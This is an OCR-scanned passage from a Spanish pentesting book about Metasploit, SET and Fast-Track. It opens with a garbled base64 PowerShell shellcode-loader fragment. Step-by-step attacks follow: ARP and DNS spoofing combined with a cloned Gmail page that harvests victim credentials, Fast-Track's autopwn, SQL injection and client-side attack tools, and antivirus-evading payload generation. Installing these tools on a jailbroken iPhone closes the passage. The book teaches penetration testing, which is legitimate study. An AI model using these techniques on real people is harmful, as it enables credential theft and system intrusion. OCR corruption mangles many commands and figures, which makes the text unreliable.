pADsA\-h-,BEAGuAbABJAG0AcABuAHIAdAAoACIAauBlAHIAbgB1AG1·1AMuA9AC4AZABsAG1·iAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAY
0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB01lFAAdAB9ACAAbABi-,AFQAaAB11AGUAY
iAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUHB0AGEAY1,iBl'APMAaQB6AGUALAAgAEkAbgB0APAAdAB11ACAAhRBi-,AFMAdABhAHIAd
zACwAIABJAG4AdABQAHQAcgAgAGuAcABQAGEAcgBhAG0AZQB0AGU AcgAsACAAdQBpAG4AdAAgAGQAd,,,BDAH I AZQBhAHQAaQBuAG4AR
JAG4AdABQAHQAcgAgAG1-iAcABUAGgAcgB1AGEAZABJAGQAKQA7AFsARABsAG11ASQBtAHAAbwB9AHQAKAAiAG0AcHB2AGMAcgB0AC4AZ
1AGIAbABuAGMAIABzAHQAYQB0AGkAYHA�AGUAeAB0AGUAc�BuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAb�B0AFAAd
Fig 6.33: Ejecución del ataque en una sesión de PowerShell.
•••
1111 Metasploit para Pentesters
Como se ha mencionado anteriormente, primero hay que conseguir que la víctima crea que el router
es el atacante, es decir, cuando realice peticiones a Internet, éstas se envíen primero a la máquina
del atacante. Para lograr esto se utiliza la herramienta arpspoof con la que se consigue envenenar la
tabla ARP de la máquina víctima.
La sintaxis de arpspoof es sencilla, se debe indicar la interfaz por la que se enviaron los arp reply y
los target. Un ejemplo es arpspoof-i ethO-t <máquina victima> <router>, puede interesar obtener
un envenenamiento doble ejecutando en otra shell la instrucción arpspoof -i ethO -t <router>
<máquina víctima>.
No hay que olvidar que para que una máquina Linux trabaje como enrutador se debe modificar el
fichero lproc/sys/net/ipv4/ipJorward, cambiando su valor de O a 1. De este modo se consigue que el
tráfico que no es dirigido a la máquina del atacante se enrute hacia el exterior. En este instante todo
el tráfico generado por la víctima pasa por la máquina del atacante, por ejemplo si se abre Wireshark
u otro analizador de tráfico se podría visualizar este hecho, e incluso obtener información sensible,
como podrían ser las credenciales de un login.
La víctima quiere unas credenciales en concreto, para ello se requiere controlar las páginas web
y veracidad de éstas que la víctima visita. Se utilizará la técnica de DNS Spoofing para conseguir
que cuando, por ejemplo la víctima intente entrar en Gmail, la dirección IP que se le entregue sea
realmente la de la máquina del atacante.
Para esta técnica se utiliza la herramienta dnsspoof, la cual necesita de un archivo donde se
especifique la dirección IP que se otorgará a la víctima cuando pregunte por un dominio concreto.
Lo primero que se debe crear es un archivo, similar al típico hosts:
#Dirección IP Dominio solicitado
192.168.1.40 gmail.com
192.168.1.40 informatica64.com
192.168.1.40 flu-project.com
En el fichero anterior, el cual en el ejemplo se denominará hosts, se especifica una lista con dos
•••
campos. El primer campo indica la dirección IP que se entregará a la víctima cuando pregunte por el
Capítulo VI. Ingeniería social con SET '**i
dominio que se encuentra en el campo de la derecha. Para arrancar la herramienta dnsspoof se debe
ejecutar la siguiente instrucción dnsspoof-i ethO -f <ruta fichero creado>.
root@bt:/pentest/exploits/set# cd
root@bt:--# nano hosts
root@bt:-# dnsspoof -i eth6 -f hosts
dnsspoof: listening on eth6 [udp dst port 53 and not src 192.168.1.46]
Ahora hay que esperar que la máquina víctima realice una petición DNS preguntando por la
dirección gmail.com. Cuando esto suceda la petición llegará antes a la máquina del atacante,
gracias al envenenamiento ARP. La herramienta dsnspoof se encargará de falsear la respuesta con la
información que se ha detallado en el fichero de texto, en la imagen el fichero hosts.
Por último, el atacante configura en su máquina, con ayuda de SET, una página web clonada del sitio
gmail.com. De este modo, cuando la víctima pregunte a su DNS por la dirección IP de gmail.com,
dicha petición será interceptada y falseada, proporcionando una dirección IP falsa . El navegador de
la víctima realizará una conexión realmente con la máquina del atacante, donde se encontrará una
página web clonada de Gmail. Cuando la víctima inserte credenciales, éstas serán capturadas por
SET.
En SET se elegirá la opción "Website Attack Vectors" con la que se creará el sitio web falso. Al
utilizar la opción "Credential Harvester Attack Method" se recolectarán las credenciales que la
víctima introduzca en dicho sitio web. Además, no se utilizará la plantilla de Gmail ya que se
encuentra desactualizada, se elegirá la opción de clonación de sitio. Tras clonar el sitio web de
Gmail, ya se tiene preparado el sitio web falso.
� lifhtt¡,:.19,,....il.com.. p .. =eXIOGmait&n.ilfrornGoogle xt
Ne,.toGmaP
E+JJUH!fiii :f
jl
j
Gmail
A Google approach to email. Signin
Gmai is buitonthe idea ha! em.ilun be morelntuilive< effióent. and 11$8U.And maybe evenfun.t,fter
al,Gmailla� pablo@i64
less spam
Keep Ut'IWill1ted messages out of your RXlX.
Mobile access
Gel Gmail on yow mobie phone LNITI more
•••
Mili Metasploit para Pentesters
Por último, hay que recalcar lo que mostró la herramienta dnsspoof cuando modificó las peticiones
realizadas para resolver el nombre de dominio gmail.com. En la imagen se puede visualizar como se
spoofea la petición. También cabe destacar que si la máquina víctima hubiese cacheado la resolución
de gmail.com el ataque no tendría éxito, pero generalmente, en algún momento esa caché se vacía,
ya sea porque la máquina se apaga, o porque ha pasado una cantidad de tiempo considerable.
•••
Capítulo VII. Más allá con Fast-Track l!il
Capítulo VII
Más allá con Fast-Track
El modo de línea de comandos es parecido a la interfaz de Metasploit msfcli. Por otro lado, el modo
web permite obtener un entorno gráfico, a través de la utilización de una interfaz intuitiva y sencilla.
•••
IIJ:M Metasploit para Pentesters
Es realmente interesante conocer estas vías de interacción con la herramienta, ya que, además de
la comodidad que proporcionan, proponen mayor automatización y vías para cargar un entorno o
vector de ataque de manera más rápida de lo habitual.
Durante el desarrollo de este capítulo se utilizará una distribución de GNU/Linux como es BackTrack
5 R3. Esta distribución proporciona la herramienta Fast-Track en la ruta !pentest/exploits/fasttrack.
La línea de comandos vuelve a ser fundamental en este tipo de herramientas, pero la interfaz gráfica
mediante el uso de un servidor web proporciona aire fresco y facilidad de aprendizaje para el usuario
de Fast-Track.
Modes:
Examples: ./fast-track.py -i
./fast-track.py -e
./fast-track.py -g
./fast-track.py -g <portnum>
Fast-Track interactivo
Este modo es el más conocido por todos los usuarios de Metasploit y Fast-Track. Proporciona un
menú similar al de SET con el que el usuario sólo debe ir navegando a través de distintos menús.
Esta opción proporciona facilidad de uso para usuarios no expertos en el uso de Metasploit en su
modo msfconsole, ya que proporciona ciertos ataques conocidos que se pueden ir configurando de
manera trivial a través de los distintos menús.
Para ejecutar Fast-Track con este modo se debe lanzar la siguiente instrucción python <ruta fast
track.py> -i, es decir, se debe indicar el parámetro i .
•••
Capítulo VII. Más allá con Fast-Track 114
*****************************************************************
** **
** Fast-Track - A new beginning... **
** Version: 4.0.2 **
** Written by: David Kennedy (RellK} **
** Lead Developer: Joey Furr (j afer) **
** http://www.secmaniac.com **
** **
*****************************************************************
�ast-Track Main Menu:
l. Fast-Track Updates
2. Autopwn Automation
3. Nmap Scripting Engine
4. Microsoft SQL Tools
5. Mass Client-Side Attack
6. Exploits
7. Binary to Hex Payload Converter
8. Payload Generator
9. Fast-Track Tutorials
16. Fast-Track Changelog
11. Fast-Track Credits
12. Exit Fast-Track
•••
'"'' Metasploit para Pentesters
La forma de interactuar con Fast-Track en este modo es realmente curioso, se debe indicar en la
misma instrucción el número de la opción que se quiere seleccionar, por ejemplo, si el usuario sabe
que quiere ejecutar la opción de exploits, la cual es la opción número seis, se debería ejecutar python
<rutafast-track .py> -e 6. Como se puede visualizar en la imagen, se auto ejecuta la opción 6, la cual
proporciona un nuevo menú.
Payloads:
Also, I added an ettercap option, if you have ettercap installed then specify a
1 flag at the end of the usage to use ettercap and poison a specific victim.
Usage: ./fast-track.py -e 6 <ipaddr> (your main ip addy, i.e. eth9) <payload> <l for ettercap, e
lse dont specify>
I
Specify your payload:
•••
Fig 7.03: Ejecución de Fast-Track modo consola .
Capítulo VII. Más allá con Fast-Track 111
Para ejecutar el nuevo menú que se puede observar, se deberá ejecutar la instrucción python <ruta
fast-track.py> -e 6 1, si se quiere configurar el exploit número uno. Se obtendrá un nuevo diálogo,
al cual se debe contestar mediante el uso de la línea de comandos. Es por esta razón, que se requiere
especificar toda la configuración a través de una instrucción de línea de comandos.
¿Esto es realmente útil? La respuesta es sí. Se puede utilizar en el uso de scripts realizados por el
propio usuario, por ejemplo, para configurar la propia automatización de un proceso de seguridad
concreto donde se pueden utilizar distintas vías que proporciona Fast-Track.
Para ejecutar y configurar el modo web se puede lanzar la siguiente instrucciónpython <rutafast
track.py> -g. También se puede utilizar la instrucciónpython <rutafast-track.py> -g <puerto>. Si
no se indica el puerto, por defecto se ejecutará sobre el 44444.
***********************************************
******* Performing dependency checks... *******
***********************************************
Una vez que se lanza el servidor se puede acceder a él a través de la dirección http:/1127.0.0.1 :44444.
Como se puede visualizar en la imagen el aspecto que ofrece este modo de interacción es bastante
más agradable e intuitivo que la línea de comandos. La presentación gráfica de Fast-Track ayuda al
usuario, ya que presenta en la parte izquierda el menú que se puede observar en el modo interactivo.
El uso de los clics de ratón para navegar por Fast-Track amenizan el uso de la herramienta y
proporciona ventajas adicionales, como por ejemplo que el uso de los tutoriales se pueda leer de
manera más clara.
•••
111 Metasploit para Pentesters
�
Fast-Track (,
.... WHERE�S OKJ'tt FlNlSH lH UHDER 3 JiqllUTES••• .
.,..;,, .... ·�,.. ,-__ •-i
> Exploits
> Binary to Hex Pay\oad Converter
> Payload Generator
> Fast-Track Tutorials
�ort.me 500. 1 realized lhattriere wasnl rnany EOl5 out lhere that dk1 w'hat I need
> Fast-Track. Changelog do ortheywere1ustrealtytiornble F M tTrackbieslD1i
- lhevoid nscmeoflhe
> Fast-Track Credits ,ould normaOy LJSe
attad,. r>a1ua ,'J
3. Tutoriales en Fast-Track
Los tutoriales que ofrece Fast-Track a través de cualquier modo de interacción con la herramienta
proporcionan una ayuda muy interesante al usuario. En este apartado se utilizará el modo interactivo
para ejemplificar el proceso de consulta de los tutoriales de la herramienta.
l. Fast-Track Updates
2. Autopwn Automation
3. Nmap Scripting Engine
4. Microso� SQL Tools
5. Mass Client-Side Attack
6. Exploits
7. Binary to Hex Payload converter
8. Payload Generator
9. Fast-Track Tutorials
19. Fast-Track Changelog
11. Fast-Track Credits
12. Exit Fast-Track
•••
Fig 7 .06: Elección de la opción de tutoriales .
Capítulo VII. Más allá con Fast-Track Mil
En el menú principal de Fast-Track se puede observar una opc10n denominada "Fast-Track
Tutorials ". Esta opción presenta una nueva pantalla en la que se puede escoger el tutorial requerido
por el usuario, diferenciado por temáticas.
(q)uit
Enter number:
Fig 7.07: Tutoriales disponibles en Fast-Track.
Cuando el usuario selecciona una temática, ésta puede contener distintos tutoriales en relación a las
distintas funcionalidades que el tutoría! ofrece. Todo es realmente sencillo de manejar y seleccionar
ya que los diferentes menús ayudan en la navegación por la distinta ayuda ofrecida por la herramienta.
En el siguiente ejemplo se ha elegido la opción número cuatro, obteniendo la ayuda relacionada con
la funcionalidad seleccionada. En Fast-Track se ha intentado dotar de la máxima ayuda posible con
el mayor grado de detalle.
******************************"***************************************
SQL 1433 Hacking: Requirements: PYMSSQL, FreeTDS
**********************************************************************
Alright, lets first start off with those of you that are unfamilar with
hacking port 1433. 1433 is Microsoft's default port installtion for
MSSQL. This goes for any version of SQL, by default it installs on 1433
and is used for primary means of co1Mtunity for SQL Servers. If a website
uses a back-end database to store information, the web server actually
talks back to the SQL server via port 1433.
The way Fast-Track attacks this specific port is through a "brute force'
attack, or attempting to guess the initial password. When first installing
a SQL server, the administrator is asked if they would like to use
Integrated Windows Authentication, use SQL Authentication, or use Mixed
Mode (a combination of both). Generally web applications are easy to use
SQL authentication then mixed or integrated.
4. Configuración de Fast-Track
Fast-Track dispone de un fichero de configuración en la ruta lpentest/exploits/fasttracklconfig
denominado fasttrack_config. Este fichero es similar al estudiado en el capítulo de SET, es decir,
•••
111 Metasploit para Pentesters
dispone de variables a las cuales se les asigna un valor. Estos valores son leídos por Fast-Track en
el instante que arranca la aplicación, adquiriendo la información que proporcionan las variables del
fichero.
Por defecto, el fichero de configuración no tiene un peso o tamaño parecido al de SET, ya que en
el fichero de configuración se puede encontrar poca información en comparación con el archivo
de SET. En la imagen se puede visualizar como, por defecto en la versión R3 de la distribución
BackTrack 5, simplemente se encuentra la variable donde se almacena Metasploit.
5. Funcionalidades
La herramienta proporciona gran diversidad de funcionalidades como se ha podido observar en
apartados anteriores. La riqueza que ofrece Fast-Track reside en la versatilidad, sencillez y
automatización que proporciona al usuario.
En este apartado se presentan las distintas funcionalidades con mayor detalle. Es importante
observar que algunas de ellas se han implementado en este libro de manera "artesanal", es decir,
manualmente. El principal objetivo de Fast-Track es conseguir que cualquier acción, que se puede
realizar con la herramienta, quede configurada en un tiempo inferior a los tres minutos, tal y como
expone su eslogan.
Autopwn Automation
Autopwn también está disponible en Fast-Track. El ataque conocido como "metralleta" permite
realizar un ataque con gran cantidad de exploits en función de varias características, como por
•••
Capítulo VII. Más allá con Fast-Track 141
ejemplo, la versión de un servicio que se ejecuta en la máquina remota, un sistema operativo
concreto, etcétera.
Esta funcionalidad permite realizar la técnica autopwn de manera rápida y sencilla, sin necesidad
de manipular Metasploit. Además, permite ejecutar "comandos" de Nmap, como si se estuviera en
la línea de comandos de éste. La ayuda que se ofrece por pantalla acerca de la herramienta aporta
facilidad para saber el formato de las entradas.
l. Fast-Track Updates
2. Autopwn Automation
3. Nmap Scripting Engine
4. Microsoft SQL Tools
5. Mass Client-Side Attack
6. Exploits
7. 8inary to Hex Payload Converter
8. Payload Generator
9. Fast-Track Tutorials
10. Fast-Track Changelog
11. Fast-Track Credits
12. Exit Fast-Track
This tool specifically piggy backs some commands from the Metasploit
Framework and does not modify the Metasploit Framework in any way. This
is simply to automate some tasks from the autopwn feature already developed
by the Metasploit erew.
Simple, enter the IP ranges like you would in NMap i.e. 192.168.1.-254
or 192.168.1.1/24 or whatever you want and it'll run against those hosts.
Additionally you can place NMAP commands within the autopwn ip ranges bar,
for example, if you want to sean even if a host "appears down" just do
-PN 192.168.1.1-254 or whatever...you can use all NMap syntaxes in the
Autopwn IP Ranges portion.
Una vez configurado sobre qué máquinas o qué máquina se realizará el escaneo se debe configurar
el modo de conexión entre el exploit que produzca la explotación y el atacante. En este ejemplo se
configura el modo inverso.
•••
ID Metasploit para Pentesters
l. Bind
2. Reverse
Enter number: 2
Fig 7.12: Elección del método de conexión cuando se explote una máquina mediante autopwn.
Tras realizar dicha acción se creará una base de datos y se auto configurará Metasploit. Si se obtuviese
el control de una máquina se dispondría de una sesión inversa. En este caso se puede observar que
no se tiene que configurar ninguna acción en la base de datos ni en Metasploit, lo cual ayuda a los
usuarios con menos destreza en el uso delframework. El payload que se introduce en la máquina
remota será uno de tipo Meterpreter.
Fast-Track dispone, en su opción tres del menú principal, de la posibilidad de utilizar scripts
relacionados con el protocolo SMB. Algunas de las funcionalidades extra que se pueden obtener con
la ejecución de estos scripts, y que incluso la propia herramienta Nmap ha incluido en sus últimas
versiones son las siguientes:
Descubrimiento de red.
Detección de servicios y versiones mejorada.
Explotación y detección de vulnerabilidades.
Averiguar y corroborar la existencia de malware.
La herramienta MSSQL lnjector permite al usuario realizar inyecciones mediante distintos métodos.
En general, se debe especificar el parámetro que contenga la vulnerabilidad SQL. Se puede
visualizar como en algunos métodos se debe utilizar la palabra 'INJECTHERE para especificar
donde la herramienta debe realizar la inyección. Un ejemplo sería http://sitioVulnerable.com/
recurso.aspx?id= 'INJECTHERE .
•••
Capítulo VII. Más allá con Fast-Track
111
Enter which SQL Injector you want to use:
(q)uit
La herramienta MSSQL Bruter proporciona una aplicación para realizar fuerza bruta sobre un SQL
Server. También se puede utilizar como herramienta de escaneo para realizar fingerprinting de la
máquina remota buscando puertos abiertos para la base de datos, visibilidad con la máquina, etcétera.
(q)uit
Enter Option:
Fig 7.14: Menú de SQLBruter.
La última herramienta sobre inyecciones SQL la proporciona SQLPwnage, con esta herramienta
se puede especificar un sitio web y mediante un proceso de crawling se obtiene un mapa con las
variables y páginas del sitio. De este modo se puede realizar un ataque de inyección SQL a través
de este descubrimiento.
SQLPwnage is a mass pwnage tool custom coded for Fast-Track. SQLPwnage will attempt
to identify SQL Injection in a website, sean subnet ranges for web servers, crawl entire
sites, fuzz form parameters and attempt to gain you remete access to a system. We use
unique attacks never performed before in arder to bypass the 64kb debug restrictions
en remete Windows systems and deploy our large payloads without restrictions.
This is all done without a stager to download remate files, the only egress connections
made are our final payload. Right now SQLPwnage supports three payloads, a reverse
tcp shell, metasploit reverse tcp meterpreter, and metasploit reverse vnc inject.
Sorne additional features are, elevation to •sa" role if not added, data execution prevention
(OEP) disabling, anti-virus bypassing, and much more!
This tool is the only ene of its kind, and is currently still in beta.
•••
Fig 7.15: Menú de SQLPwnage.
IJt:M Metasploit para Pentesters
Esta funcionalidad, además, permite realizar un ataque de ARP Spoofzng a la víctima, si ésta se
encontrase en el mismo segmento de red que el atacante. Con esta acción se busca controlar la
comunicación de la víctima. El ARP Spoofzng es provocado por la utilización de Fast-Track de la
herramienta Ettercap.
Would you like to use ettercap to ARP poison a host yes or no: yes
Ettercap allows you to ARP poison a specific host and when they browse
a site, force them to use the metasploit site and launch a slew of
exploits from the Metasploit repository. ETTERCAP REQUIRED.
La elección del payload es una situación, que como se ha comentado en este libro en varias ocasiones,
es realmente importante. Esta funcionalidad permite elegir cuatro opciones de payload, que no dejan
de ser los más conocidos, e incluso, los más utilizados.
Tras ir respondiendo a las sencillas cuestiones que produce Fast-Track para configurar el ataque
se pueden visualizar dos ventanas nuevas, la primera es la del servidor configurado y preparado
para recibir las peticiones, y la segunda es en la que se realiza el ARP Spoofzng, en caso de haber
seleccionado su configuración.
•••
Fig 7.18: Ventanas del ataque Mass Client-Side .
Capítulo VII. Más allá con Fast-Track '''
Exploits
Esta funcionalidad proporciona un número de exploits codeados en Python. Estos exploits pueden
ser encontrados en la ruta /pentest/exploits/fasttrack/bin/exploits. En la imagen se visualiza el listado
de exploits que Fast-Track detecta, pero dicha lista puede ser fácilmente ampliada.
This section will attempt to compile sorne exploits coded in python, generally
these exploits are from Muts, but may add others in time.
(q)uit
Enter number:
Fast-Track proporciona para el exploit que se quiera configurar un sencillo paso a paso para
configurarlo. Gracias a esto, el usuario puede preparar un entorno de prueba para comprobar la
eficiencia del exploit en un rango temporal inferior a la configuración manual del módulo del exploit
con Metasploit.
Fast-Track dispone de la opción del conversor y devuelve un archivo de texto con el formato
específico de depuración de sistemas Windows. Este archivo es el que reconstruirá el ejecutable una
vez que se encuentre en el sistema de la víctima o en la máquina fisica.
Una vez logrado lo anterior, sólo se tiene que pegar en una cmd o desarrollar un script para conseguir
ejecutar esto en el sistema afectado del cual ya se proveía de acceso.
•••
''"' Binary to Hex Generator v0.1
Metasploit para Pentesters
This menu will convert an exe to a hex file which you just need
to copy and paste the output to a windows command prompt, it will
then generate an executable based on your payload
<ctrl>-c to Cancel
Payload Generator
La funcionalidad de Payload Generator es común en distintas herramientas que utilizan el
framework de Metasploit, por ejemplo en SET, Social Engineering Too/kit. Este generador de
payload ejecutables o shellcodes ayuda de manera sencilla al usuario a lograr archivos ejecutables,
encodeados para intentar evitar antivirus, IPS o IDS, o incluso obtener el código o shellcode para
utilizar en exploits propios.
Fast-Track presentará al usuario distintos menús de navegación con ciertas preguntas, como son la
elección del payload, la elección del encoder o si se quiere crear un listener a través del módulo de
Metasploit exploit/multilhandler.
1. Fast-Track Updates
2. Autopwn Automation
3. Nmap Seripting Engine
4. Microsoft SOL Tools
S. Hass Client-Side Attack
6. Exploits
7. Binary to Hex Payload Converter
B. Payload Generator
9. Fast-Track Tutorials
19. Fast-Track Changelog
11. Fast-Track Credits
12. Exit Fast-Track
•••
Capítulo VII. Más allá con Fast-Track
En la elección del payload se podrá elegir entre los clásicos Meterpreter, shell, etcétera. Para esta
,,,,
prueba de concepto se elige la opción de Meterpreter, el cual es denominado "el rey de los payloads ".
Tras la elección del payload, Fast-Track muestra las opciones que se pueden utilizar para ofuscar o
encodear el archivo ejecutable, con el fin de evadir a los posibles sistemas de antivirus, por ejemplo.
El encoder utilizado en esta prueba es Shikata__ga_nai, el cual realizará cuatro iteraciones sobre el
código del payload. Este encoder genera buenos resultados en la lucha contra la evasión de sistemas
de protección.
Por último, y antes de realizar el despliegue del fichero mediante el uso de alguna vía de comunicación
mencionada anteriormente, se debe responder a unas cuestiones. Fast-Track permite que el código
que se genere sea para inyectarlo en un exploit que se esté desarrollando, por ejemplo mediante una
shellcode. Otra opción es crear un ejecutable donde se encuentre el payload que se quiere utilizar.
En esta prueba de concepto se ha utilizado la segunda opción, que consiste en la creación de un
ejecutable con inyección de payload.
•••
IJtl Metasploit para Pentesters
l. Executable
2. Shellcode
A payload has been created in this directory and is named 'payload.exe'. Enjoy!
En esta prueba se puede visualizar como Fast-Trackpregunta al usuario si quiere montar y configurar
un listener para recibir las sesiones inversas. Si el usuario elige "sí", entonces se ejecutaría Metasploit
y se configuraría automáticamente el handler. En esta ocasión se ha decidido responder con "no" a
la pregunta de Fast-Track y configurar manualmente el módulo exploitlmultilhandler.
Cabe destacar que los vectores de ataque automatizados no siempre tienen éxito. Esta afirmación es
lógica, ya que un vector de ataque es una vía o posibilidad para acceder o tomar el control de una
máquina remota. Hay que entender lo que realmente está realizando el sistema que está atacando a
la máquina víctima. También es interesante entender cuántas posibilidades de éxito tiene el vector
de ataque antes de lanzarlo.
En conclusión, Fast-Track ayuda a preparar el entorno en un tiempo, casi record, de tres minutos
o menos. Pero, puede ocurrir que la capacidad para realizar pruebas de forma manual produzcan
mejores resultados en el sistema remoto, por lo que no hay que dejar de lado las pruebas manuales,
ni dejar de entender lo que está sucediendo sin que el usuario sea consciente de ello, "por debajo".
•••
Capítulo VII. Más allá con Fast-Track ''"
7. Reflexión sobre herramientas externas a Metasploit
En estos dos últimos capítulos se han estudiado y ejemplificado, mediante la escenificación de
pruebas de concepto, dos de las herramientas más conocidas para automatizar tareas con el objetivo
de realizar una intrusión en un sistema.
Como se ha podido estudiar Fast-Track y SET o Social Engineering Toolkit son dos herramientas
muy distintas, pero con un denominador común que es Metasploit. Ambas herramientas utilizan la
versatilidad delframework para generar un mundo falso, ya sea por medio de sitios web, ejecutables
que no hacen lo que parece, correos electrónicos que parecen reales y no lo son, etcétera.
En el mundo falso que este tipo de aplicaciones son capaces de crear, la víctima debe tener mucho
cuidado ya que ésta actuará como si fuera un mundo real. De esta manera se provoca que la víctima
ejecute archivos que no deba, visite sitios que no son reales o confíe en correos electrónicos que no
son los adecuados.
Estadísticamente SET es más utilizado en el mundo de los test de intrusión que Fast-Track. Este
hecho, puede ser el resultado del objetivo con el que se desarrolló SET y las funcionalidades de
ingeniería social que éste aporta al usuario que lo utiliza. Fast-Track tiene un objetivo enfocado a
facilitar al usuario la interacción y configuración de ataques avanzados de Metasploit. SET también
proporciona métodos para configurar algunos ataques avanzados, pero siempre enfocado al arte de
la ingeniería social.
Por último comentar que la automatización es necesaria y recomendable, pero ésta también tiene
cosas negativas como es la pérdida de control sobre lo que está sucediendo. Todas las acciones que
proponen SET y Fast-Track se pueden realizar sin la automatización, es decir, manualmente. En
general es recomendable utilizar la automatización cuando el usuario conozca muy bien el proceso
manual y por esta razón es importante conocer las operaciones que se están utilizando por debajo,
que en el caso de Fast-Track, esto se traduce en conocer bien el entorno de Metasploit Framework.
Como se ha podido estudiar en estos dos capítulos, Metasploit puede ser la semilla de un test de
intrusión, provocando que gran cantidad de pruebas y procesos se puedan implementar gracias al
framework.
•••
Capítulo VIII. Metasploit en dispositivos móviles ·J�j
Capítulo VIII
Metasploit en dispositivos móviles
l. Introducción
Abordar el tema de Metasploit y los dispositivos móviles es un asunto que se puede afrontar desde
diferentes puntos de vista. Los dispositivos móviles como iPhone o iPad con iOS o Android, pueden
encontrarse en ambos lados del espejo, es decir, pueden ser tanto los utilizados por el pentester como
los utilizados por la víctima y en ambos casos puede ser vital conocer su funcionamiento para poder
sacar el máximo provecho de ellos.
Desde el punto de vista del pentester, poder disponer de unframework como Metasploit instalado
en un terminal móvil puede permitir que se esté realizando todo un test de intrusión desde la WiFi
de la empresa, mientras se está esperando en la sala de espera o paseando por las instalaciones en
una visita guiada. De hecho, en las instalaciones de alta seguridad todos los dispositivos móviles
se encuentran más que prohibidos por este tipo de motivos, y todos los visitantes deben dejarlos
encerrados en unas cajas de seguridad a la entrada que actúan como jaulas de Faraday. Por otro lado,
cada vez es más común que un dispositivo móvil guarde información sensible de un objetivo que no
está disponible en otro lugar, por lo que puede ser necesario atacar un terminal Android o iOS para
obtener dicha información y sacar esos datos. No hay que perder de vista que CEOs de empresa,
políticos y hasta jueces, utilizan sus iPads, por ejemplo, para trabajar diariamente.
Atacar los datos de estos terminales se puede enfocar desde tres aproximaciones distintas, para las
que es necesario trazar diferentes planes de trabajo.
La primera de las aproximaciones sería atacar el terminal con un exploit remoto del
mismo, que permitiera tomar control del terminal y obtener una shell o instalar un troyano
para controlar el equipo.
La segunda de ellas sería atacar las comunicaciones del terminal aprovechando conexiones
a través de redes inseguras del dispositivo, ya sean redes WiFi o de comunicaciones GPRS.
Dentro de estos ataques, también es conveniente hacer notar el impacto de los ataques de
Juice Jacking para robar fotografias y vídeos de la tarjeta de memoria de los dispositivos.
La última consiste en atacar el backup del terminal que puede haberse hecho en una
máquina insegura o en iCloud, algo que permitiría acceder a los datos del equipo en la nube,
lo que haría posible obtener datos de extrema sensibilidad del usuario.
•••
IJM Metasploit para Pentesters
A lo largo de este capítulo se van a comentar las diferentes aproximaciones utilizando Metasploit
como herramienta de apoyo donde sea posible.
En este ejemplo se ha utilizado el terminal Putty, que será con el que se realizará la instalación
completa y el principal manejo de Metasploit. En caso de tener instalado OpenSSH en un dispositivo
iPhone, siempre es ideal tenerlo bien fortificado. Una vez realizada la conexión mediante SSH, se
procederá a la instalación de los paquetes y aplicaciones necesarias para la instalación de Metasploit
y SET.
Para poder proceder con el proceso de instalación de Metasploit es necesario cumplir los requisitos
previos de los componentes. Por ello, se instalarán aplicaciones necesarias, que son: subversion,
nano, wget y phyton.
En las siguientes capturas se observan las instrucciones a ejecutar para instalar los distintos
componentes:
•••
Capítulo VIII. Metasploit en dispositivos móviles ''''
i.Phone-de-Pablo-Gonzalez: /private/var root:.# wget http: //apt.saurik.com/cydia/de
s/ruby 1.8.6-plll-5 iphoneos-arm.deb
--2011-01-04 11:20:06-- http://apt.saurik.com/cydia/debs/ruby_1.8.6-p111-5_iph
eo::s-arm.deb
esolving apt.saurik.com... 74.208.10.2�9
ecting to apt.saurik.com.174.208.10.2g91:80 ... connected.
P request sene, awaiting response ... 302 Moved Temporarily
cation: http: //cache.saurik.com/debs/ruby_1. 8.6-plll-S_iphoneos-arm.deb [follo
ing)
--2011-01-0� 11:20:06-- http://cache.saurik.com/debs/ruby_l.8.6-plll-S_iphoneos
Una vez que se hayan instalado todos los prerequisitos se podrá pasar a la fase de instalación de
Metasploit, para ello, se debe descargar e instalar el paquete .deb de Metasploit.
iPhone-de-Pabl.o-Gonzalez: /private/var root# wget bttp: //updates .metasploit.com/c
ata/releases/framework-3.5.1.tar.bz2
--2011-01-04 11:28:42-- http://updates.metasploit.com/data/releases/framework-3
.5.1.tar.bz2
Resolving upd.ates .metasploit.com... 184.154.104.2
Connecting to updates .metasploit.comf 184.15':l:.104.21:80... connected.
iITTP request sent, awaiting response. .. 200 OK
Length: 43340967 {41M) (application/x-bzip2]
Saving to: �framework-3.5.1.tar.bz2'
•••
IJl:M Metasploit para Pentesters
+
I METASPLOIT by Rapid7
()
RE CON
. --+
o o o 1
oo 1
LOOT 1
¡ 11 \ 1
PAYLOAO ""\ I < 11 \ 1
! 11 l
11
l 1
1
1
Una vez realizado este paso, hay que situarse en el directorio SET y ejecutar la orden ./set aceptando
la instalación de todos los módulos de Python que se requieran. En este momento ya estará preparado
para funcionar, tanto el framework de Metasploit como SET en el dispositivo iOS.
. -HUU ..HUflU.fffUU#
.#1....u.u..........u...
.u.......n..........#1...
. . ff##ff..flf#U......U...
.......u.u..........#1...
.#f ....u.u ..........u .. .
. . f#IHf..ffff#tff....U ...
•••
Fig 8.08: SET ejecutándose en un iPhone.
Capítulo VIII. Metasploit en dispositivos móviles IJPI
Instalar Fast-Track en iOS
En iOS también es posible instalar Fast-Track. Para ello se utilizará subversion ejecutando desde la
línea de comandos la siguiente orden:
/private/var root# svn co http://svn.thepentest.com/fasttrack/
Fast-Track realizará una serie de preguntas habituales del proceso de instalación y una vez acabado
el proceso completo, existirán dos módulos para manejar Fast-Track, o bien en modo de texto
interactivo o bien con una interfaz sencilla para utilizar vía web. Para arrancar Fast-Track en cada
módulo se ejecuta la siguiente orden:
/private/var root# python ./fast-track.py -i (ejecución mediante shell)
/private/var root# python ./fast-track.py -g (ejecución mediante webGUI)
Fast-Track ayuda a automatizar el proceso de pentesting, formando parte del kit de herramientas de
auditoría que se pueden ejecutar desde un dispositivo iOS para trabajar desde cualquier lugar.
En el último Mobile Pwn20wn de septiembre de 2012, los investigadores Daan Keuper y Joost Pool
encontraron un fallo en el navegador Mobile Safari que les permitió tomar control de los dispositivos
iOS. Sin embargo, casi ninguno de esos exploits es público, y sólo se han dado explicaciones de
cómo se han realizado, utilizándose esta información para poder hacer herramientas dejailbreak.
•••
Metasploit para Pentesters
En el año 2012, la revista Forbes hizo un estudio de cuáles eran los exploits mejor pagados, y los
de los terminales iOS superaban con creces a todos los demás por encima de los de las máquinas
Windows, que tradicionalmente habían sido los más cotizados en el mercado.
A pesar de que no hay ningún exploit en Metasploit, sí que se conocen muchos de los fallos que tiene
cada versión de iOS, ya que Apple publica en cada nueva versión del sistema operativo la lista de
